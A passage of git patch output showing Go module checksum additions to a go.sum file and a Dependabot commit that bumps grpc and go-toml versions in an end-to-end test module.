+google.golang.org/genproto v0.0.0-20230222225845-10f96fb3dbec/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= +google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230403163135-c38d8f061ccd/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU= +google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= +google.golang.org/genproto v0.0.0-20230526161137-0005af68ea54/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= +google.golang.org/genproto v0.0.0-20230629202037-9506855d4529/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= +google.golang.org/genproto v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:O9kGHb51iE/nOGvQaDUuadVYqovW56s5emA88lQnj6Y= +google.golang.org/genproto v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:0ggbjUrZYpy1q+ANUS30SEoGZ53cdfwtbuG7Ptgy108= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230629202037-9506855d4529/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:mPBs5jNgx2GuQGvFwUvVKqtn6HsUw9nP64BedgvqEsQ= +google.golang.org/genproto/googleapis/api v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:rsr7RhLuwsDKL7RmgDDCUc6yaGr1iqceVb5Wv6f6YvQ= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= +google.golang.org/genproto/googleapis/bytestream v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:ylj+BE99M198VPbBh6A8d9n3w8fChvyLK3wwBOjXBFA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230629202037-9506855d4529/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:8mL13HKkDa+IuJ8yruA3ci0q+0vsUz4m//+ottjwS5o= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230731190214-cbb8c96f2d6d/go.mod h1:TUfxEVdsvPg18p6AslUXFoLdpED4oBnGwyqk3dV1XzM= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230803162519-f966b187b2e5/go.mod h1:zBEcrKX2ZOcEkHWxBPAIvYUWOKKMIhYcmNiUIu2ji3I= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -826,7 +2393,39 @@ google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKa google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= +google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= +google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= +google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.52.3/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= +google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= +google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= +google.golang.org/grpc v1.56.2/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s= +google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc v1.57.1 h1:upNTNqv0ES+2ZOOqACwVtS3Il8M12/+Hz41RCPzAjQg= google.golang.org/grpc v1.57.1/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= @@ -843,20 +2442,30 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.32.0 h1:pPC6BG5ex8PDFnkbrGU3EixyhKcQ2aDuBS36lqK/C7I= +google.golang.org/protobuf v1.32.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= @@ -868,6 +2477,7 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -878,6 +2488,62 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= +lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.37.0/go.mod h1:vtL+3mdHx/wcj3iEGz84rQa8vEqR6XM84v5Lcvfph20= +modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= +modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= +modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= +modernc.org/ccgo/v3 v3.0.0-20220904174949-82d86e1b6d56/go.mod h1:YSXjPL62P2AMSxBphRHPn7IkzhVHqkvOnRKAKh+W6ZI= +modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= +modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= +modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g= +modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= +modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= +modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= +modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= +modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= +modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= +modernc.org/libc v1.17.4/go.mod h1:WNg2ZH56rDEwdropAJeZPQkXmDwh+JCA1s/htl6r2fA= +modernc.org/libc v1.18.0/go.mod h1:vj6zehR5bfc98ipowQOM2nIDUZnVew/wNC/2tOGS+q0= +modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0= +modernc.org/libc v1.21.4/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI= +modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= +modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.3.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= +modernc.org/sqlite v1.18.2/go.mod h1:kvrTLEWgxUcHa2GfHBQtanR1H9ht3hTJNtKpzH9k1u0= +modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= +modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= +modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= +modernc.org/tcl v1.13.2/go.mod h1:7CLiGIPo1M8Rv1Mitpv5akc2+8fxUd2y2UzC/MfMzy0= +modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= +moul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE= +nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From 04e934e516f984d2df6b70b65b3ce84347a5fb0a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 29 Dec 2023 06:35:58 +0000 Subject: [PATCH 0969/1062] chore(deps): bump google.golang.org/grpc in /test/e2e/truncation Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.57.0 to 1.57.1. - [Release notes](https://github.com/grpc/grpc-go/releases) - [Commits](https://github.com/grpc/grpc-go/compare/v1.57.0...v1.57.1) --- updated-dependencies: - dependency-name: google.golang.org/grpc dependency-type: indirect ... Signed-off-by: dependabot[bot] --- test/e2e/truncation/go.mod | 4 ++-- test/e2e/truncation/go.sum | 12 ++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/test/e2e/truncation/go.mod b/test/e2e/truncation/go.mod index acd61743ce..ba3fe7b7dd 100644 --- a/test/e2e/truncation/go.mod +++ b/test/e2e/truncation/go.mod @@ -21,7 +21,7 @@ require ( github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/o1egl/paseto v1.0.0 // indirect - github.com/pelletier/go-toml/v2 v2.0.6 // indirect + github.com/pelletier/go-toml/v2 v2.0.9 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/prometheus/client_golang v1.12.2 // indirect github.com/prometheus/client_model v0.2.0 // indirect @@ -44,7 +44,7 @@ require ( google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect - google.golang.org/grpc v1.57.0 // indirect + google.golang.org/grpc v1.57.1 // indirect google.golang.org/protobuf v1.31.0 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/test/e2e/truncation/go.sum b/test/e2e/truncation/go.sum index e4add9067e..d7f49d4697 100644 --- a/test/e2e/truncation/go.sum +++ b/test/e2e/truncation/go.sum @@ -206,8 +206,8 @@ github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRW github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= -github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= +github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0= +github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 